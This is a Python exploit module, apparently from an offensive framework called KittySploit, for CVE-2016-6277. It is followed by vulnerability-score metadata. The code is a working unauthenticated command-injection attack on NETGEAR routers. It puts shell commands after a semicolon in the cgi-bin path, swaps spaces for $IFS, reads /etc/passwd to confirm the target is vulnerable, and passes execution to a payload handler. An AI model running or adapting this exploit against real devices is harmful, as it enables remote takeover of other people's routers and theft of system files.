NETGEAR Router cgi-bin RCE (CVE-2016-6277)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR router cgi-bin path command injection (CVE-2016-6277)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'NETGEAR Router cgi-bin RCE (CVE-2016-6277)',
'description': (
'Exploits CVE-2016-6277 in multiple NETGEAR routers: shell metacharacters in '
'the cgi-bin path segment yield unauthenticated command execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2016-6277'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2016-6277',
'https://www.kb.cert.org/vuls/id/582384',
],
'tags': ['netgear', 'router', 'iot', 'rce', 'cmdi', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2016_6277_detect'],
},
},
}
cgi_base = OptString('/cgi-bin/', 'CGI base path', required=False, advanced=True)
def execute(self, cmd: str) -> str:
base = str(self.cgi_base or '/cgi-bin/').strip() or '/cgi-bin/'
if not base.endswith('/'):
base += '/'
safe = str(cmd).replace(' ', '$IFS')
path = f'{base};{safe}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat$IFS/etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2016-6277 path injection confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'NETGEAR path injection not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo$IFS{token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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05 Oct 2026 14:20Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.8
CVSS 29.3
EPSS0.99803
SSVC